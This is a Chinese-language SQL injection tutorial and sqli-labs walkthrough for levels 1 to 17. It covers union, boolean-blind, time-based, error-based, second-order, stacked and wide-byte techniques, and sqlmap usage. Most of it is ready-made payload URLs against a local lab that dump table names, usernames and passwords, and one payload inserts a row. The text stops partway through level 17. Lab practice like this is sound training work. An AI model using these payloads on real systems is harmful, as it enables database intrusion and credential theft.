  • 数字型 注入 判断这一类的 SQL 语句原型大概为 "select * from 表名 where id=1",若存在注入则可以构造类似 sql 注入语句进行爆破:select * from 表名 where id=1 and 1=1 ,或者 id=1 and 1=2 进行测试,如果 1=1 页面显示正常和原页面一样,并且 1=2 页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

字符型 注入点

  • 字符型 注入点。网页链接有类似的结构 http://xwww.example.com/users.php?user=admin 这种形式,其注入点 user 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where user='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where user='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。
  • 字符型 注入 判断添加 一个 单引号 或者 双引号,来判断是单引号的字符型注入,还是双引号的字符型注入。字符型注入关键点:前面闭合,中间是要执行的 sql 语句,后面闭合。或者后面的全部注释掉

    ?id=1' and 1=1 -- asdf 和 ?id=1' and 1=2 -- asdf 进行测试。如果 1=1 页面显示正常和原页面一样,并且 1=2 页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
    SELECT * FROM users WHERE id='1' and 1=1 -- asdf'
    SELECT * FROM users WHERE id='1' and 1=2 -- asdf'
    也可以这样判断
    http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' and '1'= '1
    http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' and '1'= '2
    ?id=1' and 1=1 and '1'='1 和 ?id=1' and 1=1 and '1'='2 进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
    SELECT * FROM users WHERE id='1' and 1=2 and '1'='1' 

搜索型 注入点

搜索型注入点。这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

?id=1%' and 1=1 and '%'='% 和 ?id=1%' and 1=2 and '%'='% 进行测试。如果 1=1 页面显示正常和原页面一样,并且 1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。SELECT * from table where users like '%1 %' and '1'='1' and '%'='%'

?id=1%' and 1=1--+/# 和 ?id=1%' and 1=2--+/# 进行测试。如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。

根据提交方式:POST注入,GET注入,HEAD注入

  • GET 注入。提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
  • POST 注入。使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
  • Cookie 注入。HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
  • HTTP 头部注入。注入点在 HTTP 请求头部的某个字段中。比如 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

根据有无回显:联合注入,报错注入,布尔盲注,延时注入

其他注入:堆叠注入,宽字节注入,二次注入等

联合注入

示例:sqli-labs 第 2 关

场景:当页面有数据显示

注入点判断

        页面显示数据:http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 and 1=1
        (或者:http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 and 1=1 -- 注释 )
        页面不显示数据:http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 and 1=2

?id=1 and 1=1 页面显示数据

id=1 and 1=2 页面不显示数据,综合这两个结果进行判断,说明是 数字型 注入 。

判断列数

?id=1 order by 3

order by 可以按列号进行排序,当列号不存在时会报错,按照这个特性,可以从 1 一次累加,来探测有多少列。

http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 1
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 2
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 3
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 4

当探测到 order by 4 时,发生报错,说明总共  3 列

爆出显示位

也就是 name 和 password 分别是查询结果中的第几列。

注意点:这里 id=-1, id 值在表中不存在,当 id 不存在时,union 查询时,前面 sql 部分查询结果为空,只有后面的 sql 执行结果。相当于变相只执行后面的 sql。

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,3
后台执行的 SQL:SELECT * FROM users WHERE id=-1 union select 1,2,3 LIMIT 0,1

如果想把后面的 LIMIT 0,1 去掉,则可以 添加注释,把后面的去掉

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,3 -- dsfaf
后台执行的 SQL:SELECT * FROM users WHERE id=-1 union select 1,2,3 -- dsfaf LIMIT 0,1

爆 数据库,版本

想要在正常显示数据的地方显示 数据库,版本,同样需要 id 值在表中不存在。

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,database(),version()

爆 表

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

爆 列

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆 账户、密码

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,group_concat(username ,id , password) from users

布尔盲注

示例:sqli-labs 第 5 关

场景:当页面数据显示很少,有报错页面和正确页面进行对比

注入点判断
      http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and 1=1 -- 注释后面sql
      http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and 1=2 -- 注释后面sql
可以判断是 "字符型 注入"

爆 数据库

判断 数据库 的长度:

http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and length((select database()))>7-- 注释
http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and length((select database()))>8-- 注释

大于 7 时正常,大于 8 时不正常,说明 数据库名 长度 是 8 

判断 数据库名 每一位的字符

?id=1'and ascii(substr((select database()),1,1))=115-- 注释

115 ascii 码 是 小写 s,就是 security 的第一位,就这样依次猜测 数据库名的每一位

ascii 码对照表

爆 表:判断 表名 的 长度

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

探测 表名 的每一位 字符

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

爆 列:判断 列名 的 长度

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

探测 列名的 每一位字符

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

爆 账户、密码

?id=1' and length((select group_concat(username,password) from users))>109--+

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

延时注入

示例:sqli-labs 第 9 关

场景:如果页面始终只有一个,可以使用延时注入,通过反应时间来判断。

注入点 判断:http://127.0.0.1/sqli-labs-php7/Less-9/?id=1' and if(1=1,sleep(5),1) -- 注释

爆 数据库

?id=1' and if(length((select database()))>9,sleep(5),1)-- dsjfa

?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)-- dsahd

爆 表

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

爆 列

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

爆 密码账户

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

报错注入

示例:sqli-labs 第 46 关

场景:当页面显示数据很少,但是存在报错信息。

第 46 关 的 sort 值可以是 1、2、3 中任意一个。

updatexml 报错 注入

UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串)  
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变 XML_document 中符合 XPATH_string 的值,当我们 XPath_string 语法报错时候就会报错

单引号、双引号 都报错,说明是 字符串注入

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1'
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1"

爆 数据库和版本

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=2 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=3 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 注释

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=2 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=3 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- 注释

爆 表

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))-- 注释

爆 列

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))-- 注释

爆 账户、密码

账户:http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select username from users limit 0,1),0x5c),1))-- 注释

密码:http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1),0x5c),1))-- 注释

账户、密码:http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password, '@',username) from users),0x5c),1))-- 注释

extractvalue 报错 注入

extractvalue(XML_document,XPath_string)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

作用:从 XML_document 中提取符合 XPATH_string 的值,当我们 XPath_string 语法报错时候就会报错

爆 数据库和版本

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,database(),0x5c)))-- 注释

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,version(),0x5c)))-- 注释

爆 表

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))-- 注释

爆 列

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))-- 注释

爆 账户与密码

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users) ,0x5c)))-- 注释

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select username from users limit 0,1) ,0x5c)))-- 注释

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1) ,0x5c)))-- 注释

group by 报错 注入

主要是由于 floor(rand(0)*2) 生成的是伪随机数011011。在进行统计时候由于在插入表格会被再次执行一次会导致健的重复。从而导致报错。

爆 数据库和版本

123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))--+

123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2))) --+

爆 表

1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2))) --+

爆 列

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2))) --+

爆 账户与密码

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))) --+

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1' limit 0,1),0x7e,floor(rand(0)*2))) --+   

二次注入

示例:sqli-labs 第 24 关

原理:二次注入是因为对于存储到数据库的数据没有经过过滤验证,且从数据库提取数据时候也没有进行过滤验证。

示例:可以看到管理员账户 admin 密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的 admin

我们可以注册一个账号名叫 admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。

之后可以使用用户名 admin'# 和密码是123456 登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。

当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

堆叠注入

示例:sqli-labs 第 38 关

堆叠注入:要求可以支持多条 sql 语句同时执行,其他 sql 注入只能查询数据,堆叠注入可以进行增删改查。

 以 mysql 数据库为例,如果使用 mysqli_multi_query 函数,该函数支持多条 sql 语句同时进行。

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

宽字节注入

示例:sqli-labs 第 32 关

原理:当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。数据库使用一些转义函数,在引号前面自动加上\。由于数据库采用GBK编码, \的url编码是%5c,所以会认为 %df%5c 是一个宽字符,也就是縗。

爆数据库

?id=-1%df%27 union select 1,database(),3 --+

爆表

?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆列    

?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 

爆账户与密码

?id=-1%df%27 union select 1,group_concat(password,username),3 from users--+

sqli-labs 通关

firefox 浏览器安装 MaxHackbar 插件。访问 http://127.0.0.1/sqli-labs-php7/Less-1/?id=1

当找不到注入点时,可以查看每一关的源码,下面时第一关的源码,可以发现 where 后面条件 id 的值是字符型,所以这个是 字符型注入。

mysql 数据结构

在练习靶场前先了解以下 mysql 数据库结构,mysql 数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是 tables columns

tables 这个表

  • table_name 字段下面是所有数据库存在的表名。
  • table_schema 字段下是所有表名对应的数据库名。

columns 这个表

  • colum_name 字段下是所有数据库存在的字段名。
  • columns_schema字段下是所有表名对应的数据库。

了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。 

sqli-labs 第 1 关 ( 单引号、字符型 注入 )

判断是否存在 sql 注入:提示输入数字值的 ID 作为参数,我们输入?id=1

通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

接下来我们判断 sql 语句是否是拼接,且是字符型还是数字型。

访问报错:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1'
访问返回数据:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' -- 注释掉后面的sql

由上面结果可知,是字符型注入。且存在 sql 注入漏洞。因为该页面存在回显,所以可以使用联合查询。联合查询原理简单说一下,联合查询就是两个 sql 语句一起查询,两张表具有相同的列数,且字段名是一样的。

联合注入

第一步:爆列数。就是知道数据表有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

访问正常:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' order by 3 -- dfas

访问报错,说明 sql 查询结果总共 3 列:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' order by 4 -- dfas

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

第三步:通过上面的显示位,可知是第二列、第三列,所以在构造联合查询时,第二列和第三列可以放置有用的信息。比如 当前数据名、版本号。

上面涉及 mysql 数据库的一些函数,记得就行。通过结果知道当前数据看是 security,版本是 8.0.12

  • database()  获取当前数据库
  • version()  获取数据库的版本号
  • group_concat()  将查询到结果连接起来。示例 sql:
    select group_concat(table_name) from information_schema.tables where table_schema=database();
    select group_concat(username,password, '分割') from users;

第四步: 爆表。information_schema.tables 表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

该语句的意思是查询 information_schema 数据库下的 tables 表里面,且 table_schema 字段内容是 security 的所有 table_name 的内容。

如果不用 group_concat 查询到的只有 user,就是查询结果第一条数据。

第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在 users 表中。接下来我们就是得到该表下的字段名以及内容。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

语句的意思是查询 information_schema 数据库下的 columns 表里面且 table_users 字段内容是users 的所有 column_name 的内。注意 table_name 字段不是只存在于 tables 表,也是存在columns表中。表示所有字段对应的表名。

 第六步:通过上述操作可以得到两个敏感字段就是 username 和 password,接下来我们就要得到该字段对应的内容。我自己加了一个 id 可以隔一下账户和密码。

http://127.0.0.1/sqli-labs-php7/Less-1/?id=-1' union select 1,2,group_concat(username , id, password) from users -- 注释

http://127.0.0.1/sqli-labs-php7/Less-1/?id=-1' union select 1,2,group_concat(username , '_____', password) from users -- 注释

sqli-labs 第 2 关 ( 单引号、数字型 注入 )

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所以可以猜测 sql 语句应该是数字型注入。那步骤和我们第一关是差不多的,

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1' LIMIT 0,1"     出错信息。
 
 
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

sqli-labs 第 3 关 ( 单引号、括号 闭合 )

输入?id=2' 时,可以看到页面报错信息。可推断 sql 语句是单引号字符型且有括号,所以需要闭合单引号,且也要考虑括号。

通过下面代码构建就可以进行sql注入。后面所有代码以此为基础进行构造。

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs 第 4 关 ( 双引号、括号 闭合 )

根据页面报错信息得知 sql 语句是双引号字符型且有括号。

通过以下代码进行sql注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs 第 5 关 ( 单引号、布尔盲注 )

第五关根据页面结果得知是字符型,但是和前面四关还是不一样,因为页面虽然有东西,但是只有对于请求对错出现不一样页面,其余的就没有了。这个时用联合注入就没有用,因为联合注入是需要页面有回显位。

  • 如果数据 不显示,只有对错页面显示,可以选择 布尔盲注
  • 布尔盲注主要用到 length()、ascii()、substr() 这三个函数,首先通过 length() 函数确定长度再通过另外两个确定具体字符是什么。
  • 布尔盲注 对于 联合注入 来说需要花费大量时间。

大于号 可以换成 小于号 或者 等于号,主要是判断数据库的长度。lenfth() 是获取当前数据库名的长度。如果数据库是 haha 那么 length() 就是4。这里数据库事 security 长度是 8

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select database()))>7 --+
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select database()))>8 --+

  • substr(a,b,c) :a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。示例:substr("78909",1,1)=7
  • ascii():是将截取的字符转换成对应的 ascii 码,这样我们可以很好确定数字根据数字找到对应的字符。

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1'and ascii(substr((select database()),1,1))=115--+

判断所有表名字符长度。

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13 --+

逐一判断表名

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

判断所有字段名的长度

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20 --+

逐一判断字段名。

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

判断字段内容长度

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select group_concat(username,password) from users))>109 --+

逐一检测内容。

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50 --+

sqli-labs 第 6 关 ( 双引号、布尔盲注 )

第六关 和 第五关 是差不多的,根据页面报错信息可以猜测 id 参数是双引号,只需将第五关的单引号换成双引号就可以了。

源码

sqli-labs 第 7 关 ( 单引号、双括号 闭合 )

第七关中,当在输入 id=1 页面显示 you are in... 当我们输入 id=1' 时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。

当输入 id=1" 时显示正常,所以可以断定参数 id 时单引号字符串。因为单引号破坏了他原有语法结构。

然后再输入 id=1'--+ 时报错,

这时候再输入 id=1')--+ 发现依然报错,

再试下是不是双括号输入id=1'))--+,发现页面显示正常。

那么它的过关手法和前面就一样了选择布尔盲注就可以了。

sqli-labs 第 8 关 ( 单引号、布尔注入 )

第八关 和 第五关 一样就不多说了。只不过第八关没有报错信息,但是有 you are in.. 进行参照。id参数是一个单引号字符串。

sqli-labs 第 9 关 ( 基于时间的盲注 )

第九关 会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合了。

  • 布尔盲注 适合页面对于错误和正确结果有不同反应。
  • 如果页面一直不变这个时候我们可以使用 时间注入

时间注入布尔盲注 两种没有多大差别。只不过 时间盲注多了 if 函数 和 sleep() 函数。if(a,sleep(10),1) 如果 a 结果是真的,那么执行 sleep(10) 页面延迟10秒,如果 a 的结果是假,执行 1,页面不延迟。通过页面时间来判断出 id 参数是单引号字符串。

  • 因为是单引号注入,所以 and 前面就直接报错,所以这个会立马返回页面:http://127.0.0.1/sqli-labs-php7/Less-9/index.php?id=1" and if(1=1,sleep(5),1)--+
  • 因为是单引号注入,所以 and 前面的结果为真,继续 and 后面的条件,即 sleep 5 秒后页面页面才返回结果:http://127.0.0.1/sqli-labs-php7/Less-9/index.php?id=1' and if(1=1,sleep(5),1)--+

判断参数构造。
?id=1' and if(1=1,sleep(5),1)--+

判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+

逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

判断所有表名长度 
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

逐一判断表名 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

判断所有字段名的长度 
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

逐一判断字段名。 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

判断字段内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

逐一检测内容。
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

sqli-labs 第 10 关 ( get 和 post 区别、--prefix="\"" )

第十关和第九关一样,只需要将单引号换成双引号。

第 4 关 是双引号,且括号闭合,所以 sqlmap 可以直接扫描。但是这一关是双引号,并且没有括号闭合,所以使用 sqlmap 扫描时,显示 参数 id 没法注入

sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-10/index.php?id=1" --dbms=mysql --batch -v 3 --technique=T

扫描时 使用的 payload

可以发现 sqlmap 是 基于 "单引号" 注入的,双引号的注入检测不出来,这时就需要 --prefix 参数来指定 "注入payload字符串前缀"

  • -v 3   是显示 payload
  • -v 4   是显示请求的 url

sqlmap 扫描:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-10/index.php?id=1" --dbms=mysql --batch -v 4 --prefix="\"" > ./test.log

可以发现注入前缀变成双引号了,

sqlmap 的 :--prefix,--suffix

  • sqlmap 的 get 请求默认是 "单引号" 的注入前缀
  • sqlmap 的 post 请求 "单引号、双引号" 都有 payload

在有些环境中,需要在注入的 payload 的前面或者后面加一些字符,来保证 payload 的正常执行。

例如,代码中调用数据库:$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
这时你就需要 --prefix--suffix 参数了:python sqlmap.py -u "http://192.168.0.3/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
这样执行的SQL语句变成:$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

sqli-labs 第 11 关 ( post 表单 注入 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-11/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --param-exclude="submit" --dbs

从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是 get 请求,参数都体现在 url 上面,而从十一关开始是 post 请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测 sql 语句。大概的形式应该是这样 username=参数 and password=参数 ,只是不知道是字符型还是整数型。

当我们输入1时出现错误图片

当我们输入1',出现报错信息。根据报错信息可以推断该 sql 语句 username='参数' and password='参数'

知道 sql 语句我们可以构造一个恒成立的 sql 语句,看看查询出什么。这里我们使用 --+ 注释就不行,需要换成 # 来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。

sqli-labs 第 12 关 ( post、双引号、括号 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-12/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs

当我们输入1'和1时候页面没有反应

当我们输入1"的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。

那么我们可以构造下面语句进行sql注入。

1" ) or 1=1 #判断是否存在sql注入。
1" ) union select 1,2#

sqli-labs 第 13 关 ( post、单引号 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-13/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs

十三关和十二关差不多,只需要将双引号换成单引号。

sqli-labs 第 14 关 ( post、双引号 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-14/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs

十四关和十一关差不多,只需要将单引号换成双引号。

sqli-labs 第 15 关 ( post 、布尔盲注 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-15/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs

第十五关和第十一关一样,只是不产生报错信息。这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考。

sqli-labs 第 16 关 ( post、布尔盲注 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-16/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs  --param-exclude="submit" --level=5 --risk=3 

第十六关和十二关一样,需要布尔盲注。

sqli-labs 第 17 关 ( extractvalue、updatexml、group by )

第十七关和前面的关有很大不一样,根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。用到三种mysql报错注入,下面都给大家详细写出步骤,大家可以借鉴。

这里介绍的报错注入可以选择 extractvalue() 报错注入,updatexml() 报错注入和 group by() 报错注入。下面简单说一下者三种报错注入的原理。

extractvalue 报错注入

extractvalue(XML_document, XPath_string)

  • 第一个参数:XML_document 是 String 格式,为XML文档对象的名称,文中为 Doc
